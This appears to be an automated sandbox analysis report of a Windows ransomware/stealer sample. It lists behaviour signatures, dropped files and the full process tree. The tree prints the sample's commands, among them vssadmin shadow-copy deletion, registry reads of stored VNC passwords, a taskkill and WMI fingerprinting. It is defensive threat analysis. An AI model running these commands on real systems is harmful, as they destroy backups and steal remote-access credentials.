Overview

overview

10

Static

static

10

2026-07-28...st.exe

windows10-2004-x64

9

2026-07-28...st.exe

windows11-ltsc_2024-x64

9

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/07/2026, 01:02

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-28_6930e70fde123a0dd3a9653f1380c3ae_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
  • Size 11.3MB
  • Sample260729-bd9pzsdq21
  • SHA256 a7473825f3b5d9fede19b347181bea958cc0f7d2f63f89f7519c6fde4fe37d6b
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasiondiscoveryexecutionimpactransomwarespywarestealer

Malware Config

Signatures

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Looks up external IP address via web service 1 TTPs 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Using powershell.exe command.

    execution
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies registry key 1 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-28_6930e70fde123a0dd3a9653f1380c3ae_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-28_6930e70fde123a0dd3a9653f1380c3ae_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2844
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-CimMethod -ClassName Win32_ShadowCopy -MethodName Create -Arguments @{Volume=\"C:\\\"; Context=\"ClientAccessible\"}"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2684
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Get-CimInstance Win32_ShadowCopy | Where-Object { $_.ID -eq '{CD961ADF-EFB4-4E93-BA79-EE1245CC4973}' } | Select-Object -ExpandProperty DeviceObject"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1900
    • C:\Windows\system32\systeminfo.exe
      systeminfo
      2⤵
      • Gathers system information
      PID:4276
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Get-WmiObject Win32_Processor | Select-Object -ExpandProperty Name"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4896
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Get-WmiObject Win32_Processor | Select-Object -ExpandProperty NumberOfCores"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1532
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Get-WmiObject Win32_VideoController | Select-Object -ExpandProperty Name"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1196
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Get-WmiObject Win32_OperatingSystem | Select-Object -ExpandProperty TotalVisibleMemorySize"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3420
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Get-CimInstance Win32_VideoController | Where-Object { $_.CurrentHorizontalResolution -gt 0 -and $_.CurrentVerticalResolution -gt 0 } | Select-Object Name, CurrentHorizontalResolution, CurrentVerticalResolution, CurrentRefreshRate, DeviceID | ConvertTo-Json"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2804
    • C:\Windows\system32\curl.exe
      curl -s http://ip-api.com/json/85.203.46.7
      2⤵
        PID:2444
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM ms-teams.exe
        2⤵
        • Kills process with taskkill
        PID:5884
      • C:\Windows\system32\reg.exe
        reg query HKCU\Software\TightVNC\Server /v Password
        2⤵
        • Modifies registry key
        PID:2420
      • C:\Windows\system32\reg.exe
        reg query HKCU\Software\TightVNC\Server /v ControlPassword
        2⤵
        • Modifies registry key
        PID:1968
      • C:\Windows\system32\reg.exe
        reg query HKLM\SOFTWARE\RealVNC\vncserver /v Password
        2⤵
        • Modifies registry key
        PID:5824
      • C:\Windows\system32\reg.exe
        reg query HKCU\Software\TigerVNC\WinVNC4 /v Password
        2⤵
        • Modifies registry key
        PID:5672
      • C:\Windows\system32\reg.exe
        reg query HKLM\SOFTWARE\TightVNC\Server /v Password
        2⤵
        • Modifies registry key
        PID:3216
      • C:\Windows\system32\reg.exe
        reg query HKLM\SOFTWARE\TightVNC\Server /v ControlPassword
        2⤵
        • Modifies registry key
        PID:3368
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "vssadmin delete shadows /shadow=\"{CD961ADF-EFB4-4E93-BA79-EE1245CC4973}\" /quiet"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of WriteProcessMemory
        PID:5128
        • C:\Windows\system32\vssadmin.exe
          "C:\Windows\system32\vssadmin.exe" delete shadows /shadow={CD961ADF-EFB4-4E93-BA79-EE1245CC4973} /quiet
          3⤵
          • Interacts with shadow copies
          PID:5644
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3648
    • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
      "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
      1⤵
        PID:1816
      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
        1⤵
          PID:4208

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 62493e172610112b99b13a725298b5215f1703b6dc529a01b64579ef2bd9c8de
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 dba786286f9693513ad841114c70774333e2297a61ca0a796b7135c75dce4330
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 12011b3f0e93f81bc93d4c84fbc3ab738c0a39b4efc7ee9c7e37f20c49a6b399
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 c3450f7fcf7deacd684aff39e3cfe0c63ad7630478796a7448b47d317098a242
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 eee9b4cfddcd92252ee49424c5ba436be577b510f290ce83797e1709a7f55a32
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 3d069bc1b28180d362a5c2976ec58c9657cf2d3eefdd68d8a3a95d3ac69fe3d5
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 2706f7a3cde18304b8eb65dc0fa6d884f09a46a78e320302afda951d20885534
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              CURRENT
              • Path C:\Users\Admin\AppData\Local\Temp\Local Storage\leveldb_microsoft_edge_default_8.temp\CURRENT
              • Size 16B
              • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
              • MD5 SHA1 SHA512
              Submit Download

              MANIFEST-000001
              • Path C:\Users\Admin\AppData\Local\Temp\Local Storage\leveldb_microsoft_edge_default_8.temp\MANIFEST-000001
              • Size 41B
              • SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
              • MD5 SHA1 SHA512
              Submit Download

              Web Data_chrome_default_7.temp
              • Path C:\Users\Admin\AppData\Local\Temp\Web Data_chrome_default_7.temp
              • Size 138KB
              • SHA256 a1bce4eac5addcf4a3588c1d13d36aee3483376afba04289783081bbba8e4f34
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              Web Data_microsoft_edge_default_7.temp
              • Path C:\Users\Admin\AppData\Local\Temp\Web Data_microsoft_edge_default_7.temp
              • Size 256KB
              • SHA256 b0c72944fc5bd02ac464a83ac972277e38d0dbc674f2a634c0d432bf882ef89a
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              __PSScriptPolicyTest_i3rhvqvt.otn.ps1
              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i3rhvqvt.otn.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              memory/1900-29-0x00000265FCA30000-0x00000265FCAE2000-memory.dmp
              Download

              memory/2684-13-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp
              Download

              memory/2684-0-0x00007FFC1245F000-0x00007FFC12460000-memory.dmp
              Download

              memory/2684-19-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp
              Download

              memory/2684-20-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp
              Download

              memory/2684-21-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp
              Download

              memory/2684-23-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp
              Download

              memory/2684-17-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp
              Download

              memory/2684-15-0x000002051F330000-0x000002051F35A000-memory.dmp
              Download

              memory/2684-16-0x000002051F330000-0x000002051F354000-memory.dmp
              Download

              memory/2684-14-0x000002051F2F0000-0x000002051F2FA000-memory.dmp
              Download

              memory/2684-12-0x000002051F230000-0x000002051F2E2000-memory.dmp
              Download

              memory/2684-18-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp
              Download

              memory/2684-11-0x00000205070F0000-0x000002050710E000-memory.dmp
              Download

              memory/2684-8-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp
              Download

              memory/2684-7-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp
              Download

              memory/2684-6-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp
              Download

              memory/2684-5-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp
              Download

              memory/2684-4-0x0000020507050000-0x0000020507072000-memory.dmp
              Download

              memory/2684-1-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp
              Download

              memory/2804-167-0x000001AE7FA60000-0x000001AE7FC22000-memory.dmp
              Download

              memory/2804-168-0x000001AE18F60000-0x000001AE19488000-memory.dmp
              Download

              memory/2804-166-0x000001AE18720000-0x000001AE187D2000-memory.dmp
              Download